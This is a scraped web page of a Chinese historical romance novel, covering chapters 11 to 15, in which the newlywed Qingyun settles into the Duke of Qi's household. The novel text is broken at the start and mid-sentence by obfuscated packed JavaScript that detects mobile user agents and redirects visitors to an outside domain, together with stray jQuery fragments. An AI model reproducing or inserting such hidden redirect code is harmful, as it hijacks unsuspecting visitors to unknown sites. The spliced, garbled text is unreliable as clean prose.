d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659651|156685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他放缓语速,“我的心意只真不假,既然那日应下你的话语,对你许诺,如今又结为夫妻,我自会尽好做丈夫的责任。只是毕竟毫无经验,其中不当之处,还望你不吝指教,我定及时修正。” 说罢,目光静然地望着清蕴,没有丝毫闪躲,也许是想让她借此看清自己心意。 这样一位郎君在你面前剖析心迹,郑重地许下诺言,坦荡荡的赤子之心。如果说毫不动容,定是假的。 清蕴沉默片刻,终于轻轻出声,“世子如何,我亦如何。” 只八个字,就让李秉真流露笑意,“好,我能否唤你夫人?” 清蕴点头,“我私下唤你少思,在外仍唤世子,如何?” 李秉真当然不会反对。 彼此换了称谓,距离好像又近了些。相较那些自幼定下婚约,青梅竹马的夫妇,他们算得上陌生,性情、起居、喜好都需互相了解磨合。但比起那些长辈拍板,或家族联姻而成的夫妇,又称得上亲近。至少目前看来,彼此都有一份真心和坦诚。 眼看时辰不早,清蕴起身先去了浴房。 本来就提前沐浴过,这会儿稍微擦洗一遍即可。她动作不紧不慢,眼睛看着热汤从指间滴落,想的是彭掌柜和秦夫人告诉她的消息,世子恐于子嗣艰难。 这艰难是指难以留下子嗣,还是无法…… “夫人。”李秉真的声音在外响起,隔着一道门有金玉之感,清蕴停下动作。 “你忘带沐巾,我放在门外绣墩上,推门便可取用。” 许是刚才想着其他事,清蕴发现自己当真粗心了回,应他一声,不再耽搁,很快结束了擦洗。 因即将就寝,她没有再穿外袍,仅着里衣就走了出来,柔软的丝绸与肌肤相贴,勾勒出窈窕身躯。 雪肌腻理,软玉温香,凡是正常男子,见了都会忍不住浮想联翩,但李秉真视线始终君子地停在她双肩之上,“屋内虽置了薰笼,仍有些寒,先上榻罢。” 清蕴依言过去,才发现他在榻前小几上摆好了水、书和一枚九连环,简直把她当小孩儿般照顾。 对着书和九连环思索片刻,清蕴竟也当真拿起了后者。 李秉真出来时,她正在和第六环博弈,认真凝眉的模样很有些可爱。他无声在旁看了好一会儿,见她陷入困境,终于抬手把九连环接来,摆弄几下解开,笑道:“看来夫人不精通此道。” “确实很少玩。”清蕴如实回答。 幼时的事情她已经很少想起了,但到王家以后的都很清晰,八年来接触的都是字画文章女工之流,因为这些更有价值。 “其实很简单。”李秉真坐上榻,低声传授她解九连环的秘诀,夫妻二人通力合作,果然十分轻松。 随着最后一环被解开,清蕴不由轻笑了下,抬首时恰巧对上李秉真目光,静谧而温和。 两人对视了会儿。 “安歇罢。”他道。 “好。” 12.第十二章 新婚当夜,夫妻二人仅仅是大被同眠,除去这个,就没有更亲密的动作了。 李秉真不曾解释,清蕴也没有问。 独自睡了十多年,枕畔突然多出一人,清蕴本以为自己会彻夜难眠。事实却是,听着那道平和的呼吸声,她不到一刻就有了困意,不知不觉合上眼,陷入沉沉梦乡。 再醒来时,屋内烛火明亮依旧,看不出天色,而她半偎在李秉真臂旁,和他贴得极近,能够清晰感受到成年男子身体的热意。 “……什么时辰了?” “快到寅时,还可以再睡会儿。”李秉真放下手中的书,帮她捋开遮住脸庞的几缕发丝,“渴了吗?” 清蕴摇头,他的眼神太过清明,“世子整夜未眠?” “刚醒没多久。”李秉真解释,“我常年如此,早就习惯了。除非当日喝的药可以助眠,否则夜里必会醒两三次。” 说完意识到什么,“翻书声惊醒你了?” “不曾。”要不是睁眼就看见他,她几乎都要忘了自己已经成婚,正和一个不算熟悉的人同榻而眠。 慢慢坐起身,清蕴也没了睡意。她作息如此,一旦中途醒来,就很难再睡下去。 只是离请安还有点时间,枯坐在床榻上也是无趣,李秉真想了想,“可会下棋?” 清蕴答会,他笑说:“那就手谈两局罢。” 洞房花烛夜,两人不曾亲密,甚至在五更天起来下棋。旁人听起来都觉得好笑的事,他们做起来倒都很自然,丝毫不觉有异。 为了不惊醒外面守夜的女使,两人尽量放轻动作,把棋盘挪到了榻上,取来烛台照明。 清蕴会棋,只是不精,她更擅长写诗作词品文章。李秉真棋艺高超,但很会谦让,他的棋道就和人一样,平和温润,像是一泓宽广的湖水,寻常风雨都难惊起波浪。 与其说对弈,不如说是在下指导棋,清蕴索性慢聊起来。 “除了棋,世子还有什么喜好?” 李秉真说平时的兴趣除去棋,就只剩下画和茶。 “少时病痛难耐,总想找些事消磨时间。试过许多后,发现下棋作画和煮茶最能凝聚心神,也最耗费时辰,便认真学了这几样,时日一久,就习惯了。” 很朴实寻常的理由,也符合他的作风,清蕴听了道:“外祖父也喜欢画,尤爱鉴赏名家真迹,甚至可以称痴迷。你们见了,应当很有话聊。” “我听说过。”李秉真唇畔弧度更深,“中堂大人曾为画痴缠一位卖炭老翁,不知是真是假?” 这事当时在京中很出名,清蕴不意外他知道,点了点头,“那位卖炭翁家中有幅祖传水墨画,他以为是家中长辈所作,随手挂在了堂前。外祖父无意看见后,认出是他喜爱的前朝任安画作,上门请求老翁卖画。老翁起初答应他,后又毁约,四五次都把他赶出门外。” 李秉真好奇,“后来如何?” “后来我和外祖父一同上门,发现是老翁见他爱极那幅画,便做出奇货可居的架势,故意几次不应,为的是卖出大价钱。” “任安的画不算出名,只是恰巧中堂大人喜欢。如此说来,他果真花了大价钱?” 清蕴淡道:“我找人做了幅赝品,在外祖父再次上门求画时,当着老翁的面对外祖父说他家中那幅是赝品。他慌了神,连忙要贱价出卖。” 说到这儿,她自嘲般笑了下,“外祖父后来训斥了我一顿,仍是以最初的价钱买下了那幅画。” 训斥一词也许不大对,王贞对待小辈从来不会疾言厉色。但在当时的清蕴心中,无疑是这个感觉。她那时还不懂,为何外祖父不赞成她对老翁设局,明明是对方毁约在先。后来渐渐明白了,依旧不认可。 “中堂为人宽和,但我私以为,夫人的做法更解气些。”李秉真如实说出看法,“有时候以德报怨,并不一定合适。” 再者,这方法不难想,关键在于清蕴当时应该才十岁,就已经能够看穿人性薄弱之处,以此做局,李秉真对她洞察世事的敏锐又有了一层了解。 清蕴当然不会对这等小事耿耿于怀,早就把它当成了件可以玩笑的故事,对李秉真的宽慰付之一笑。 “那夫人平时有什么喜好?” 她的喜好……清蕴静默了阵,“大致都会一些,没有特别喜爱的。” 对这个话题,她聊兴一般,李秉真也没有追问,说起了其他。 夫妻俩就这样在榻上慢悠悠地下棋、聊天,如此到了卯时。女使们看时辰该起榻去请安了,轻手轻脚地推门而入,见到的就是两位主子在榻上精神奕奕下棋的模样,不由愕然。 ** 俩人都醒着,仆妇顿时鱼贯而入,伺候他们净面、梳妆、更衣。 既为人妇,发髻就要改一改了,零碎鬓发都被整整齐齐梳到耳后,露出饱满光洁的前额。在穿着上,清蕴挑了件杏黄色窄袖袄衫,墨绿下裙,外罩绯色比甲,看着就温婉亲和。 李秉真穿戴一新,和她并肩而立时,女使们都忍不住感叹,直夸二人是神仙之姿。 二人皆是含笑,相携往正厅去。 光看人,齐国公府算不上复杂。最年长的是齐国公母亲,被称作太夫人、老祖宗,她很重规矩,教养出的李贵妃也温婉守礼。但她如今年事已高,精力不济,已经很少再管府中庶务了。 齐国公和镇国大长公主都是武将,性情直爽,不大看重繁文缛节,身边人只要不触及他们原则,犯点小错也不会计较。 往下的小辈有四人,已进宫的李贵妃、世子李秉真、永平郡主李琪瑛,以及仅比李秉真小一岁的庶弟李审言。 李贵妃恐怕要等来日进宫相见,剩下的一双弟妹,清蕴听过些风声,具体如何,还是要见了本人再看。 新妇进门后第一次请安,阖家也起得早,此刻天色仍然朦胧,他们就等在了厅中。 李秉真携清蕴出现的刹那,大长公主只觉眼前一亮,满室随之生辉,顿时露出笑容,很喜欢儿媳的样貌。 她自身是明媚大气的长相,齐国公亦是英武之辈,不然当初也不会被她从一干武将里挑中。李秉真青出于蓝而胜于蓝,融合了夫妻俩的所有优点,打小就是个玉娃娃,至及冠更成了玉树临风的潇潇郎君。她时常想怎样的姑娘才能和儿子相配,此刻一见清蕴,便觉得就是如此了。 大长公主从不掩饰情绪,众人观她神色,就知道世子夫人很称殿下心意。 齐国公内敛些,颇有威势,大约怕吓着她,特意点了点头。 太夫人神色平淡,见了夫妇俩说一声好,交待过几句要守 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14661342|156685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼立身的话就作罢。 至于剩下的两人,清蕴用余光扫了圈,瞥见大长公主左侧坐了个妙龄少女,衮衣绣裳,美貌非凡,看神态颇具傲气,正双目灼灼地打量她,想来正是那位小郡主。 余下一位青年则坐在位上没动弹,一直瞧着黑漆漆的窗外,一副兴致缺缺的模样,也没人在意他。 把众人神态映入眼底,很快到了敬茶的时候。 清蕴从托盘中取茶,按顺序一一奉上,各自得了份见面礼。 直到大长公主这儿,茶杯刚入手,清蕴眉峰挑了下,稍稍抬眸,就能瞥见小郡主疑似幸灾乐祸的神色。 双手纹丝不动,清蕴对刚放下托盘准备离开的女使道:“茶凉了,给母亲换一杯。” 女使面露讶异,不解她为何有这吩咐,大长公主没想太多,直接伸手去接,“凉了也没事,不过走个礼数,我只——” 她的声音戛然而止,险些脱手的茶杯被清蕴稳稳托住,登时柳眉倒竖,哪个不懂事的竟把杯子泡得如此滚烫。摔了杯子是小事,破坏了敬茶岂非不吉。 同时也对这个看起来温婉柔弱的清蕴刮目相看,就那一瞬间的事,居然能迅速反应过来。如果没接住杯子,她又不知内情,恐怕会怪罪到儿媳身上。 清蕴面色如常,“凉茶对身体不好,还是换杯罢。” 说完一个眼神,奉茶女使不知怎的,情不自禁就听令去换了杯盏。大长公主这回没阻止,依照礼节喝茶、给礼。 做完这些事,才算真正见过长辈,认识了李秉真的家人。 随后众人同用早饭。 因老夫人在场,所有人都秉持“食不言”的规矩,不曾说过一句话,席间仅能听到极其轻微的碗筷声,仆役走动、侍奉都是悄无声息。 王家两房人住在一起,儿孙又多,平时极为热闹,同席时绝不可能这样安安静静。 但国公府的人习惯了如此,清蕴也适应得非常快,仪态、动作无不沉着,有条不紊,看得太夫人暗暗点头,对这个孙媳妇更认可一分。 大约两刻钟,这场早饭终于结束,大家各自散去。 才走到廊下,和清蕴并行的李秉真就握起她拢在袖间的手,果不其然看见指腹这时候还在泛红,是再明显不过的烫伤,让他面沉如水。 “藏翠。”他道,“去夏大夫那儿取烫伤膏。” 藏翠还没弄明白怎么回事,先被世子冷冷的模样惊得一个激灵,忙不迭应声而去。 堂前清蕴和大长公主的那些动作只发生在几息之间,没想到他看得这么细致。 清蕴笑了笑,“应该是下人没注意。” “他们不会犯这么浅显的错。”李秉真没有顺着她的话一带而过,抚过她指尖,“我心中有猜测,等查明了,定会给你交代。” 这样斩钉截铁的态度让清蕴颇为意外,无声观察他,然而除去和昨夜一样的真诚,再无其他。 场面上的漂亮话很多人都会说,清蕴本身就是个中高手。她习惯在情况不明时蓄势,也不会凡事都非得为自己讨个公道,因为有时候隐忍带来的益处显然更大。 她不用细想,都能猜到八成是那位神色异样的小郡主捣鬼,只不知是什么原因。 李秉真要如何呢,第一天就为她责罚亲妹妹吗? 13.第十三章 为查茶杯一事,李秉真暂时离开,清蕴没太在意,先回了月舍。 刚嫁过来的她虽然无需管家,眼下也有些事做,到住处后先叫来了所有仆婢。 李秉真身边的人不多,贴身伺候的就藏翠、藉香两人,另有四位女使,以春分、夏至、秋分、冬至四节气为名,平时负责衣物、采买和整理等琐事。至于外面庭院洒扫之类的重活,都是由府里管家另行分配仆役。 略问了几句话,表面看都是本分守礼的性子,待她这个女主人很敬重。 “你们在府里这些年,了解世子的喜好、习性,想来世子也习惯了你们服侍,所以从前做什么,今后也照旧,我不另外安排。若有不便决断之事,再来寻我。” 清蕴态度很和气,没准备用什么恩威并施、连敲带打的手段,这对她来说没必要。她并非没有倚仗的孤女,又是国公府明媒正娶而来,只要不是拎不清的人,绝不会仗着在府里待的日子长些就轻视她。 说完这两句话,转头对自己带来的两人道:“国公府和家中规矩有所不同,遇事多听、多看,有不懂之处就向这四位姑娘请教,万不可散漫无礼。” 春夏秋冬四女闻言,如何听不懂话中含义,顿时齐齐福身,“婢等定尽心教导两位妹妹。” “那就有劳你们了。” 向她们了解了李秉真的起居作息,清蕴接着问起府里晨昏定省的规矩,得知国公夫妇不喜这些虚礼,除去重要年节,并不要求小辈每日请安。太夫人上了年纪,每日都得服药入睡,起得不比以往早,特意嘱咐过,请安要卯时以后,也不可天天去,三五日一次就好。 这样看起来,其实国公府没有想象中规矩森严,某种程度比在王家还要轻松些。 白兰白芷闻言,都不由为自家主子松了口气,她们还沉浸在刚才前厅的肃穆氛围,以为从此连说笑都要受拘束。 好在请安不算严苛,世子看起来也很温柔体贴。 大致把人记了个脸熟,清蕴看日头正好,让她们把带来的嫁妆箱子都打开,将衣物、书籍之类的东西先摆放好。 那些金银珠宝、古器名玩,还有李秉真昨夜交给她的地契银票,就全都放进了月舍的小库房,两道锁,两枚钥匙,分别放在了她和白芷身上。 随便翻了翻账册,清蕴发现这场婚事下来,自己的私产竟是翻了几番都不止。相比起来,这些年店铺经营所得都只能算九牛一毛。 无怪有人视婚姻为买卖。 “在做什么?”李秉真刚回来就看见院中一派热闹景象,脚步径直往清蕴这儿来,在她身旁落座。 “把带来的东西稍做整理,有些日常用的就摆出来,想是要占世子一些空间了。” 李秉真失笑,“本就是你我共同的居室,哪来占用之说。屋里空出了很多架子,你随意摆放便是。” 他对外物的欲念非常淡薄,这点从月舍就能看出,里外陈设极为单一。作为世人眼中的文人雅士,他也没兴趣侍弄花草,月舍外的院子几乎光秃秃的,除去墙角的一株红梅,再没有任何花草树木。 就那株红梅,还是大长公主强行留下的,说是月舍看起来太寂寥,总要有个鲜亮的颜色点缀。 “我的东西也不多,应该只有书会占些位置。” 李秉真嗯了声,说起自己此行结果,“早晨敬茶一事,是琪瑛在捣乱,她吩咐人提前烫好茶杯,特意在你奉茶时换上。我查清后已经和母亲说了,她被罚了一顿,如今正在和我们拗气。等稍微平复了,我再让她向你赔礼道歉。” 他有心帮忙撑腰,清蕴自然不会故作大度说不必,只好奇问:“我与郡主素未相识,往日在宴会上也不曾碰面,按理来说并无旧怨,她是不喜我吗?” 李秉真摇头说并非如此,“她是对我不满,迁怒于你罢了。” 听起来好像有故事,对上清蕴目光,李秉真沉吟片刻,还是直接说了出来。 “琪瑛与宝真郡主自幼相识、情谊深厚,她一直想让宝真到国公府来。” 怎么个来法,清蕴立刻听明白了。 无非是想让好友嫁给兄长,永续友谊。更有可能,这位宝真郡主也爱慕于李秉真,却被拒绝了。在李琪瑛眼中,也许是兄长辜负了好友,自然会对她这个刚嫁过来的嫂嫂有敌意。 这种敌意听起来有些孩子气,但放在李琪瑛身上,不可过于重视,也不可忽视,因为她的性情实在有些特别。 永平郡主李琪瑛,此前清蕴只听过其人,具体如何不了解。成婚前特意托人打听了番,才知道这位郡主最响亮的名号不是齐国公与镇国大长公主之女,而是任性跋扈,以及风流多情。 李琪瑛热衷举宴玩乐,自幼混迹在京城的锦绣堆,时常和贵女、世家子一同出游、踏青、行猎。因家世出众,无论何时都居于首位。又因美貌非常,京中诸多小郎君都是她的裙下之臣。 她未及笄时,就有好些人上国公府提亲,其中一人还是柳阁老之孙。她听说后不仅没有答应,还极为嚣张地把殷勤献好的柳彦君打出门去,让柳家大失颜面,一时沦为京城笑柄。 齐国公要带她上柳家登门道歉,大长公主却道女儿性情直爽、不拘小节,对此不以为意。 柳阁老门下的都察院官员,后来以此事攻讦齐国公“无力齐家、何以卫国”。建帝作为判官,却轻飘飘一句“郡主年少轻狂”就把事情略过,明显有所偏袒。 两家本就不和睦,由此仇怨更深,在朝堂上常有争执,官场外也是纠纷不断 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“父亲爱才,如果此人当真骁勇善战,无需你举荐,父亲定会重用他,至于机遇……”李秉真沉思,“再过不久就是春蒐,陛下会带众武将去猎场,父亲也会下场狩猎。届时让他跟在身边,先展露功夫,引起父亲注意后,再表露意愿,这样就容易得多。” 建朝有科举,也可不拘一格降人才,各家门下如果有天赋卓绝之人大都会有心培养,毕竟他们能出人头地,也是家中的一份助力。清蕴这个提议很寻常,李秉真很快就想到办法。 清蕴听罢,深觉这个提议再合适不过,“我过几天和他说说,让他提前做好准备。” 李秉真说好,接着问:“此人有什么来历么?” 他以为是清蕴远亲之流,却听她说:“当初我从江苏来京,正是陈危和他叔父去接,途中遇到山崩,陈管家为救我被砸破脑袋,从此神智懵懂,至今记不清人。陈危虽有天赋,但为人内敛,不擅和人交流,留在家里恐怕也无人看重。我问过他意思后,就把人要了过来。” 原来有这份原因,李秉真恍然,提出想见一见陈危,正好他现在在国公府里还没派活儿,不出片刻就出现在二人面前。 正月的天儿十分寒冷,陈危仍只穿身极其轻便的布衣,腰挎长刀,身量稍显单薄,但那悄然无声又迅速的步伐,足以让人知道他功夫确实不错。 与此同时,他的相貌还隐约有几分眼熟。想不起那份熟悉感从何而来,李秉真先放在一旁,问了陈危几句话,见他果真颇有将才,态度始终不卑不亢,不由赞一声“少年英杰”。 他把刚才和清蕴商议的事说了出来,很和气地问:“你意见如何?” 陈危仅看了眼清蕴,得她肯定就毫不犹豫应下,“全凭主子吩咐。” 李秉真点头,待他离开后对清蕴道:“父亲定会很喜欢他。” 14.第十四章 两人闲聊了会儿,眼看时辰尚早,离用午饭还有段时间,干脆相携在国公府逛起来。 在一众皇亲国戚中,国公府占地最为宽广,是由原本的大长公主府和侯府合建而成。按规制来说不能这么建造,可大长公主地位非凡,天子也纵容,那些言官的谏言就被抛在了一边。 从月舍开始,两人穿梭慢行于各条长廊。国公府房屋大都为重檐歇山顶,辉煌堪比宫廷殿宇,一重又一重飞檐,其下是连接各处的廊桥、洞门,行走间碰见各院仆役,见了他们远远就候在原地,直到两位主子经过才重新动作。 齐国公和大长公主同居主院,除此之外大长公主还另有住所,正是她原本公主府的闺房,名潇湘居。齐国公不回府时,她更愿意住在那儿。 远远看去,潇湘居附近有一小片斑竹林,夏日想必很凉爽。 李琪瑛作为最受宠爱的小辈,独占全府最大的院子,名玲珑轩,旁侧有鱼池花圃环绕,宛如桃源福地。这会儿仍是严寒,水面仅有一些枯叶飘荡。 太夫人住所旁则建了个小佛堂,她和秦夫人一样,是佛教的虔诚信徒,一天至少在佛堂待三个时辰。 李秉真平时少出院,对家人的住所倒都很了解,说李琪瑛的院落名取自“造化可能偏有意,故教明月玲珑地”这句诗,宝真郡主那儿命名明月居,她就要叫玲珑轩。 “看来两位郡主感情很深厚。” 李秉真十分赞同。 走着走着,到了一处极偏僻的角落,这儿仅有座孤零零的屋子伫立,屋外荒草蔓生,十分杂乱,看着不像有人居住。但就在这时候,那道充满岁月痕迹的木门随着吱嘎声被推开,仅着一身短打的青年走出来,看见他们愣了下。 是李审言。 他手里拿着盆,把水随手一倒,立在那儿漫不经心地叫了声“大哥”。 这时候,清蕴才看清李秉真这个弟弟的脸。 他长得出奇好看,这种好看和李秉真身上世家子的雅致不同,更带着一种邪气和郁气。眼神看似随意,实则从来没离开过他们,高大的身躯微佝,有种直不起腰、懒洋洋的感觉。 “我带你嫂嫂在府里随便走走。”李秉真不因他的态度动气,仍然平淡。 李审言又对清蕴叫,“嫂嫂。” 很难说这敷衍的语调含着敬重,至少清蕴完全没有感受到。李审言并非大长公主所出,生母只是齐国公之前的通房。按理来说他在府中应该谨小慎微,依今日所见,却是散漫到无礼,国公府的人也好像习以为常。 李秉真如何,清蕴便也如何,很平静地对他点头。 简单打了个招呼,李秉真带她走过这个角落,沿游廊往另一处去,边对清蕴解释,“他在卫所任职,平时很少归家,碰面的机会不多,寻常以待就好。” 国公府上一辈的恩怨情仇,李秉真当然不会随意说道,清蕴即使有所了解,也不可能点明。从李秉真的态度来看,整个国公府都对李审言以忽略居多,不重视,也不苛待,能在卫所当武官,应该是他自己的能耐。 他的身形看起来也确实矫健有力,方才露出的双臂、小腿,每一块肌肉都充满蓄势待发的力量。 看起来比李秉真更像齐国公之子。 就这样在国公府走走停停,耗费小半个时辰,李秉真和清蕴回到了月舍。 夫妻俩都出了层薄汗,各自换身常服,才发现到了用午饭的时辰。 月舍有小厨房,不过除去煎药很少用。一家人没有相聚的时候,就由府里的大厨房做好送到各院。 他们这会儿不大饿,让厨房上三五道菜即可。要求是随意,那边却不会因此糊弄,单看桌上的鲜笋焖鸡、清蒸鲈鱼就颇有巧思,小炒苔菜和八宝攒汤解腻暖腹,点心则备了枣泥卷和乳饼,搭配起来鲜香无比。 清蕴本来没什么胃口,拾起筷来不知不觉用了一碗。李秉真看她偏爱那道清蒸鲈鱼,笑着说:“郊外的庄子附近有一座湖,那里的鲈鱼尤其肥美,喜欢的话就让他们每天送来。得了空也可以去那小住,现钓上来更有一番风味。” 清蕴刚说一声好,那儿藉香就来传话,说是郡主来了。 “看来她已经知错,来找你道歉了。”李秉真说着,让人请李琪瑛进门。 ** 李琪瑛来时架势摆得很足,气势汹汹,越靠近月舍,动作就不由自主慢了下来。 齐国公府有众多庭院,她的玲珑轩就是最大、最豪奢的那座。但最特殊的毫无疑问是月舍,在府里是,在她心中也是,因为她的同胞兄长李秉真住在这儿。 她有些怕他。 李琪瑛小时候很不喜欢这个兄长,因他身体病弱,全家人的心神常常凝聚在他那儿,但凡他有个风吹草动,受宠如她也会被忽略。记忆最深刻的是,有一年在她生辰当晚,兄长突发高热,本答应陪她出门放花灯的爹娘直接食言,仅让两名护卫伴她,匆匆去月舍待了整晚。 听说那晚很凶险,太医都险些让他们节哀,幸亏是虚惊一场。其他人说起来都道祖宗庇佑、上苍开恩,她却无甚感觉,甚至在想,有什么可高兴的,反正注定活不长久。 因生辰被打搅的不满,她第二日偷偷溜进月舍,对着兄长就一顿埋怨,怪他病得不是时候。 他那时脸色很苍白,没有一丝血色,闭着眼睛听她说完那些话,平淡道:“我也深觉病得不是时候。” 然后指着桌上的瓷瓶,“这瓶药是太医院特制,用于续我命脉,一月仅得一瓶。你把它拿走,我不会和任何人说,今后也不会再病。” 她愣了好久,才明白过来这话的意思,再对上兄长平静到冷漠的眼神,竟觉得很是可怕,结结巴巴撂下一句“休想害我被骂”,就吓得落荒而逃。 事后每每想起,都会为他话里对自身性命的漠视而感到心惊,更不敢靠近他,所以兄妹俩虽然住在一个府邸,其实没怎么真正相处过。 待她大了些,李秉真的身体也稍微好些,不再总 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很温和的语气,李琪瑛却无来由觉得冷酷,紧绷着脸坐到桌旁,这儿给她添了副碗筷。 女使刚要给她布膳,被李琪瑛一声冷硬的“不用”给喝退,高亢的语调让桌上两人同时投来目光。 清蕴带笑看着她,没主动开口,李秉真则问:“已经吃过了?” “……吃过了。”李琪瑛硬邦邦说,“我是来找人的。” “找谁?” “……找大嫂道歉。” 她停顿会儿,脑袋转向清蕴,“今早我让人提前烫过敬茶的杯子,本是想开个玩笑,却没把握好分寸,险些闯祸,请大嫂原谅。” 这两句话不知她准备了多久,说得极快,毫无感情地读完了,紧接着灼热地盯她,好似在等待什么。 清蕴想了想方恍然,“原是玩笑,郡主亲自上门道歉,足见诚心,我自然不会计较。” 表现出的好脾气并没有得到李琪瑛感谢,她只是飞快收回眼神,对兄长道:“大嫂已经原谅我,总得让娘把令牌还给我了罢。” “马上到大选的日子,宫中忙碌,这段时间就先放在母亲那儿,过了大选再拿回令牌。” 原来那令牌是宫中李贵妃特意给妹妹的,姊妹俩关系好,李琪瑛可以凭此随意出入宫闱。她很喜欢进宫,往往一月要去十来次。 没想到道了歉也未能得到结果,李琪瑛愤怒非常,双眼简直要喷出火,恨不得站起来掀桌。到底碍于一动不动坐在那的李秉真,气得把碗一推,飞快离开了月舍。 刚跑出月舍没几步,又碰见正准备出门的李审言。两人在廊下相遇,李琪瑛结结实实撞了上去,疼得双目唰得流出泪来,瞧见是李审言,怒气瞬间爆发。刚要抽出腰间金鞭,李审言人已经到了丈外,讥嘲般的眼神扫过她,径直离去。 接连在两人这儿碰壁,李琪瑛气得重重一跺脚,火气全撒在了旁边的梧桐树上。 15.第十五章 李琪瑛往月舍走这一趟,很显然不是真心认错,而是被兄长抓住命脉,不得不屈服。匆匆进门到跑出去,还没到一碗茶的功夫。 不过,清蕴不是很在意她诚恳与否,只要面子上过得去,接下来能够互不相犯就行。 李秉真同样不在乎,继续慢条斯理地同她用饭,还另外派藉香去告诉大长公主,绝不可提前交出令牌。 新婚前两天,夫妻二人就这样在府中走走逛逛中度过,无比悠闲。期间还找到了一起下棋、作画、看书和煮茶的爱好,相处起来很是和谐。以至于归宁日的前晚,由于喝了小半壶李秉真煮的梅花茶,清蕴成功失去了见周公的机会。 她很少有这样彻夜不眠的经历,分明大部分时间闭着眼,意识却十分清醒,如此煎熬到天明。 李秉真夜里醒来倒是发现了,可只能陪着她,无法帮她入眠。 到了马车上,他见清蕴疲色难掩,便取来薄毯,建议道:“倚着我小睡会儿罢,让他们走慢些。” 清蕴没多作犹豫,答应下来。 因发髻之故,她只轻轻靠在了李秉真肩头,远没有同榻时亲密。但他一手揽她,一手持卷,为她轻声念书的模样,又是不同感觉。 侧眼过去,能看见他专注的神情,似柔和春风,似宁静的风景画。 有多少人能够在他面前不松下心弦?清蕴不知。她只知道,在这几天的相处中,李秉真的确在践行诺言,至于能维持多久,谁也无法预测。 就这样闭着眼睛休息,在抵达王家大门的前一刻,清蕴就起身理了理发髻,恢复端庄姿态,看得李秉真不由一笑,先行下车,再回身扶她。 今天是清蕴的归宁日,王家早就洒扫门庭,着人在外面等候。马车才刚露头时,门房就迅速飞奔去报信了。 两人进门时,前厅已经整整齐齐坐了一家子人。 “外祖父,外祖母。”李秉真刚踏过门槛就对两位长辈作揖,接着依次向清蕴的舅舅舅母问好。他们提前告了一上午的假,此刻都在这儿,待李秉真也很客气。 清蕴不姓王,但她在王家住了这些年,几个舅舅早把她当成半个女儿。最小的舅舅如今仍在戍边,不便赶回,也托人带了厚礼,这时候才送到。 因是给夫妻二人的,秦夫人直接让人呈上。除去那些金银器具,比较特别的是两条玉化象牙手串,粗细、花纹各有不同,质地细腻、色泽温润,甫一露面就吸引了众人目光,尤其是王令嘉,直接抛下方才的矜持模样凑过来欣赏。 清蕴笑着拿给她把玩。 见完长辈,又轮到李秉真给王家的小辈们送礼。 他在礼物挑选上花了番心思,砚台、名墨、翡翠、金锁,皆为珍品。考虑到王宗赫即将春闱,还给他带了些做过注释的读本。 作为前任科举进士,他的书本无疑很有价值。 李秉真道:“克衡的才名我早有耳闻,在国子监中向来名列前茅。保持寻常心即可,今年春闱必不在话下。” 儿子被夸,王维章满面笑容。王宗赫就沉着许多,仅微微点头,对李秉真道一声谢,随后看了眼清蕴,见她视线完全不在此处,再缓缓收回。 两位姑娘得的都是特制首饰,其中那枚金镶玉的桃花簪栩栩如生,惹得王令嘉爱不释手,脱口而出的“姐夫”二字,让全家人都忍俊不禁。 李秉真面带温润笑意,“喜欢便好。” 这时候已经过了用早饭的时辰,家里就备了各式茶点。见过礼,大家同坐到桌旁吃茶聊天。 长辈们关切非常,当然要问些二人婚后情况。这类问题大都是李秉真回答,清蕴则和两位表姊妹低声交谈。 得知她在国公府一应都好,王令娴是最开心的的那个。如果表妹过得不顺心,她难免会有种是代自己受过的感觉,好在一切都算走在正轨。 “清蕴。”大约两刻钟的功夫,秦夫人唤外孙女,“带世子在家里走走罢。” 看清蕴状态,她就知道夫妻俩相处融洽,便没打算问那些私事。 清蕴刚要应好,李秉真先出声,“清蕴昨夜没睡好,有些疲惫。不如让她去歇息,我陪外祖父赏画,如何?” 此话一出,场中长辈们几乎都愣住,旋即沉默。 “嗯……清蕴就先去歇息罢。”秦夫人一锤定音。 ** 王家不缺地方,即使清蕴出嫁,秦夫人也准备把她的朝云榭一直保留着。 仅仅隔了几日没回,再看见熟悉的地方,竟有种恍如隔世的感觉。 白兰对着朝云榭外的繁盛的花木一阵感慨,“可惜这些不便带去,世子看起来又不喜欢摆弄花花草草,日后住处都要单调许多。白芷,你说是不是?” 白芷却没附和,“主子也不怎么喜欢这些。” “怎么可能——”白兰立刻反驳,“不然你以为这满院花圃似的景色哪来的?” 白芷不说话了,她总是这样,打一棍子蹦一个字,有时候还不搭理人。白芷不在她这儿讨没趣,扭头去找人叙旧。 屋内,清蕴坐在榻边,视线掠过和她相伴八年多的书架、四方桌、小几。没了主人,这间房便成了彻底的雪洞,只剩这几件家具。 她不喜欢添置物件,是因为从没在这些东西上找到归属感。她很清楚,身处王家的自己终究是个外人,不知哪天、哪时、哪刻,就会因未知的缘由离开王家,或被赶走。与其耗费感情和心思布置闺房,不如多学些能够化为己用的东西。 所以原本房中最多的是书。 至于那些花草,起初是因外祖父王贞喜欢,后来则是成了习惯,谈不上多喜欢。 到国公府后,她发现李秉真的居所比自己这儿还要简单,惊诧之余,其实适应得还蛮快。 这些回忆在脑海中闪过不过几息的事,清蕴解去外衫躺进被褥后,很快就收了思绪,静心入眠。 大概是整夜没睡,她这一觉意外得沉,直到午时白芷来唤都 